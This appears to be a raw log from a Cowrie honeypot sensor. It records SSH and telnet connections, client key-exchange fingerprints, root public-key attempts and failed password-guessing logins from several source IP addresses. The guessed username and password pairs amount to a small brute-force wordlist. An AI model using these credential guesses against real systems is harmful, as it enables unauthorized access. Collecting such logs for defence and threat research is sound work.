{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:55.381903Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:62:3d:82:3b:ba:75:b3:8a:5b:bf:19:94:86:d0:e8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFqgFLI/fLQ+tJYFJgjjNImgkuwlDUTxDIupPGGFZfMv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 53:62:3d:82:3b:ba:75:b3:8a:5b:bf:19:94:86:d0:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:55.820608Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:62:3d:82:3b:ba:75:b3:8a:5b:bf:19:94:86:d0:e8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFqgFLI/fLQ+tJYFJgjjNImgkuwlDUTxDIupPGGFZfMv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:55.824389Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:de:12:d2:9e:32:76:06:bc:32:7a:a4:be:ea:13:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx03cSBFZ/PgNxEBR0ce65GNPmp4xDbLpvBfIqEnNqMYqMlbBrN27bWru1D0LudJSWs+PEr49JRVHOcRMwTnx4jjG+bVT6xBBPizAZ4fRNjRgB579dpQh0ZUt/OCXnlyv+g5bYu3J8iWkl6DoumtC+Axryb3LNRG4q3by/Jn56nJB9nQwXRO3uyFKAOCdniuEmEit/FwnwIEbmy5zBUfft9CODYIyhfK96M4GH306+018FDVxyEUiFhe+SPn9zohjw/ttNiBDaXIB+P9JytaMPO0qHYLpnUq1ckzVJ3ogLnEjFG4AfNfJrEeRaCTqsmlYMa9v8Haw3gBhgoyvLDbdl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:de:12:d2:9e:32:76:06:bc:32:7a:a4:be:ea:13:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:55.916699Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:de:12:d2:9e:32:76:06:bc:32:7a:a4:be:ea:13:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx03cSBFZ/PgNxEBR0ce65GNPmp4xDbLpvBfIqEnNqMYqMlbBrN27bWru1D0LudJSWs+PEr49JRVHOcRMwTnx4jjG+bVT6xBBPizAZ4fRNjRgB579dpQh0ZUt/OCXnlyv+g5bYu3J8iWkl6DoumtC+Axryb3LNRG4q3by/Jn56nJB9nQwXRO3uyFKAOCdniuEmEit/FwnwIEbmy5zBUfft9CODYIyhfK96M4GH306+018FDVxyEUiFhe+SPn9zohjw/ttNiBDaXIB+P9JytaMPO0qHYLpnUq1ckzVJ3ogLnEjFG4AfNfJrEeRaCTqsmlYMa9v8Haw3gBhgoyvLDbdl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:55.920977Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:92:e6:94:9b:40:7f:04:6d:b4:52:f6:32:32:bb:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQmaNhtQDvY9l98LfQIUPwiZ7YI1gQ+rg2Y0IlC1Z/xdCEfKC+iH5E8ldujLG2Txt+RmVwH+nwCdzpCpKbG42Hw9WlNHq78my4OxK9pgCiVuMDd23pnFKa5BYWNmvIdTtKHuD9iQkBe16FILXU0x7GpCmTHUFWTu6vzOjYGeKBcU3rwS146uDLqPJHiHmnMYJP0tKysUXyfKDxdb4M9ASYZc50CarmSOuwWFyv5kUkyvD0/peGl3LH0q4pV53HRGvfZgQMH+ZMSUIHTtAJmMEi0WVqPGNett5L3ebZ5t0KtrkcEDdxHft8yJgCrTi5qXNv9Rs78CRa9+KKx994myez","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:92:e6:94:9b:40:7f:04:6d:b4:52:f6:32:32:bb:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:56.013340Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:92:e6:94:9b:40:7f:04:6d:b4:52:f6:32:32:bb:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQmaNhtQDvY9l98LfQIUPwiZ7YI1gQ+rg2Y0IlC1Z/xdCEfKC+iH5E8ldujLG2Txt+RmVwH+nwCdzpCpKbG42Hw9WlNHq78my4OxK9pgCiVuMDd23pnFKa5BYWNmvIdTtKHuD9iQkBe16FILXU0x7GpCmTHUFWTu6vzOjYGeKBcU3rwS146uDLqPJHiHmnMYJP0tKysUXyfKDxdb4M9ASYZc50CarmSOuwWFyv5kUkyvD0/peGl3LH0q4pV53HRGvfZgQMH+ZMSUIHTtAJmMEi0WVqPGNett5L3ebZ5t0KtrkcEDdxHft8yJgCrTi5qXNv9Rs78CRa9+KKx994myez","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:56.017462Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:94:d9:60:e4:17:b3:6a:74:8a:ef:83:a6:fd:35:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBG50rTWgR2jPjhvgevL4UhWVsW3XfMSFoR6i08EFvFuaRJd1D3ih9kvn0DptTTRrIR87deeMDVGW8/9C6DTQMCUuE6aikUWBjZB6nddgzo3EFJ6x5gwhiL4lj5O11a+wic9qs9nVAioJQffTh14FybBoHstGFE/SDiADxMFdQitB/uXLR309hVZNb565WYlcJvEvJsJFxnnVnyFficuLeJ8sZuDxonSAe7zeTVR6k23DNJPOfB4TALaXE6/tB59CH82VJ2Z1CpSz+SiTcfm61p/NvpVIafRmxtVukNF9m45U80xBJtGKQq4fc2/4mcUGOuOaGRoNreQOlKubjGCRf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:94:d9:60:e4:17:b3:6a:74:8a:ef:83:a6:fd:35:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:56.110872Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:94:d9:60:e4:17:b3:6a:74:8a:ef:83:a6:fd:35:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBG50rTWgR2jPjhvgevL4UhWVsW3XfMSFoR6i08EFvFuaRJd1D3ih9kvn0DptTTRrIR87deeMDVGW8/9C6DTQMCUuE6aikUWBjZB6nddgzo3EFJ6x5gwhiL4lj5O11a+wic9qs9nVAioJQffTh14FybBoHstGFE/SDiADxMFdQitB/uXLR309hVZNb565WYlcJvEvJsJFxnnVnyFficuLeJ8sZuDxonSAe7zeTVR6k23DNJPOfB4TALaXE6/tB59CH82VJ2Z1CpSz+SiTcfm61p/NvpVIafRmxtVukNF9m45U80xBJtGKQq4fc2/4mcUGOuOaGRoNreQOlKubjGCRf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:56.115202Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:cc:b2:4d:bd:2f:44:74:94:6a:b5:ea:dc:40:26:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCB/qURumK0189x14Buah3phGFBfRQQqMUb3xI8Ppe7vzyIZ5MTllIwU8sag4VxK74uAMVHpjWeoNRO97bQknYwJya2OmBQ35nKLPRnkVtF39YmL7WR58dXIQ+ONYsyiS9SUnROAacbS5jy/YzHWO+XAlxJlZ/P/krMq2NzofHRFuOiuoU3UaO0aF1nZdhjPXr0PbzP/9YElDP3AVbWq6jHDKzo+z7OaSp1e7hbcD3bq6aOTBk03YwYzqzoscEMyKrnvjUElkQ6HxIGMABf/pJQX6T8waVEdRkQ5r3HVSMuVd8gV6zpwoW5m73hu6wSmHC8Y4tf9vrQlClWSPbSc9tX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:cc:b2:4d:bd:2f:44:74:94:6a:b5:ea:dc:40:26:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:56.211554Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:cc:b2:4d:bd:2f:44:74:94:6a:b5:ea:dc:40:26:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCB/qURumK0189x14Buah3phGFBfRQQqMUb3xI8Ppe7vzyIZ5MTllIwU8sag4VxK74uAMVHpjWeoNRO97bQknYwJya2OmBQ35nKLPRnkVtF39YmL7WR58dXIQ+ONYsyiS9SUnROAacbS5jy/YzHWO+XAlxJlZ/P/krMq2NzofHRFuOiuoU3UaO0aF1nZdhjPXr0PbzP/9YElDP3AVbWq6jHDKzo+z7OaSp1e7hbcD3bq6aOTBk03YwYzqzoscEMyKrnvjUElkQ6HxIGMABf/pJQX6T8waVEdRkQ5r3HVSMuVd8gV6zpwoW5m73hu6wSmHC8Y4tf9vrQlClWSPbSc9tX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:56.215943Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:56.308644Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.21652960777283,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:32:19.821018Z","src_ip":"199.103.57.63","session":"3b267bbb933e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":55496,"dst_ip":"159.203.135.109","dst_port":23,"session":"726e0621e633","protocol":"telnet","message":"New connection: 194.180.12.23:55496 (159.203.135.109:23) [session: 726e0621e633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:32:33.128323Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":54158,"dst_ip":"10.17.0.5","dst_port":22,"session":"b35c4c95fdd6","protocol":"ssh","message":"New connection: 14.224.213.222:54158 (10.17.0.5:22) [session: b35c4c95fdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:32:50.159797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:32:50.165612Z","src_ip":"14.224.213.222","session":"b35c4c95fdd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:32:50.414576Z","src_ip":"14.224.213.222","session":"b35c4c95fdd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"serif","message":"login attempt [admin/serif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:32:51.430826Z","src_ip":"14.224.213.222","session":"b35c4c95fdd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:32:52.679193Z","src_ip":"14.224.213.222","session":"b35c4c95fdd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.26659631729126,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:17.394734Z","src_ip":"194.180.12.23","session":"726e0621e633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51344,"dst_ip":"159.203.135.109","dst_port":22,"session":"1746d2376472","protocol":"ssh","message":"New connection: 193.32.162.145:51344 (159.203.135.109:22) [session: 1746d2376472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:50.681621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:50.686608Z","src_ip":"193.32.162.145","session":"1746d2376472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:50.828029Z","src_ip":"193.32.162.145","session":"1746d2376472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"serum","message":"login attempt [ubuntu/serum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:51.165598Z","src_ip":"193.32.162.145","session":"1746d2376472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:52.275492Z","src_ip":"193.32.162.145","session":"1746d2376472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":49706,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9531d2e13c4","protocol":"ssh","message":"New connection: 14.224.213.222:49706 (10.17.0.5:22) [session: f9531d2e13c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:56.990639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:56.995837Z","src_ip":"14.224.213.222","session":"f9531d2e13c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:57.248399Z","src_ip":"14.224.213.222","session":"f9531d2e13c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd-1234","message":"login attempt [ubuntu/abcd-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:58.278560Z","src_ip":"14.224.213.222","session":"f9531d2e13c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:33:59.563602Z","src_ip":"14.224.213.222","session":"f9531d2e13c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":23018,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dadb1602857","protocol":"ssh","message":"New connection: 2.57.121.112:23018 (159.203.135.109:22) [session: 3dadb1602857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:04.862809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:04.868820Z","src_ip":"2.57.121.112","session":"3dadb1602857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:04.976104Z","src_ip":"2.57.121.112","session":"3dadb1602857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scubapro","message":"login attempt [admin/scubapro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:05.468435Z","src_ip":"2.57.121.112","session":"3dadb1602857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"screws","message":"login attempt [admin/screws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:06.576699Z","src_ip":"2.57.121.112","session":"3dadb1602857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"screech","message":"login attempt [admin/screech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:07.685309Z","src_ip":"2.57.121.112","session":"3dadb1602857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scotty1","message":"login attempt [admin/scotty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:08.793687Z","src_ip":"2.57.121.112","session":"3dadb1602857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"score1","message":"login attempt [admin/score1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:34:09.902192Z","src_ip":"2.57.121.112","session":"3dadb1602857","protocol":"ssh"}
